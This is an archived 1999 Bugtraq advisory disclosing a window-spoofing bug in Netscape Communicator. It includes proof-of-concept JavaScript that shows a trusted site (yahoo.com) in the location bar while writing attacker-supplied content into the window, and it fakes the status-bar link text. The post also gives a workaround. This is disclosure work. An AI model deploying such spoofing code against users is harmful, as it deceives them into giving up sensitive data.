[9626] in bugtraq

home help back first fref pref prev next nref lref last post

Netscape Communicator window spoofing bug

daemon@ATHENA.MIT.EDU (Georgi Guninski)
Thu Feb 18 13:30:28 1999

Date: 	Tue, 16 Feb 1999 09:46:05 PST
Reply-To: Georgi Guninski <guninski@HOTMAIL.COM>
From: Georgi Guninski <guninski@HOTMAIL.COM>
To: BUGTRAQ@NETSPACE.ORG

There is a bug in Netscape Communicator 3.04,4.06,4.5 Win95 and 4.08
WinNT,
which allows "window spoofing".
After visiting a hostile page (or clicking a hostile link) a window is
opened and its
location is a trusted site. However, the content of the window is not
that of the original site,
but it is supplied by the owner of the page. So, the user is misled he
is browising
a trusted site, while he is browsing a hostile page and may provide
sensitive information,
such as credit card number.
The bug may be exploited using HTML mail message.
It needs Javascript enabled.

Workaround: Disable Javascript

Demonstration is available at:
 http://www.nat.bg/~joro/b14.html
 http://www.whitehats.com/guninski/b14.html

This bug is different from the "frame spoofing vulnerability"

The code is:
-------------------------------
function doit()
{

a.document.open();
a.document.write("<H1>Look at the location bar!<BR>");
a.document.write("<A HREF='http://www.whitehats.com/guninski'>Go to
Georgi Guninski's home page</A></H1>");
a.document.close();
}

function winopen() {
a=window.open("view-source:javascript:location='http://www.yahoo.com';");
setTimeout('doit()',30000);
}

</SCRIPT>


<A HREF="javascript:void(0)" onclick="winopen()"
onMouseOver="window.status='http://www.yahoo.com';return true">
Follow this link to go to www.yahoo.com (or somewhere else)
</A>
-------------------------------
Note: My web page has moved. Look below for the new URLs.

Regards,
Georgi Guninski
http://www.nat.bg/~joro
http://www.whitehats.com/guninski

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

home help back first fref pref prev next nref lref last post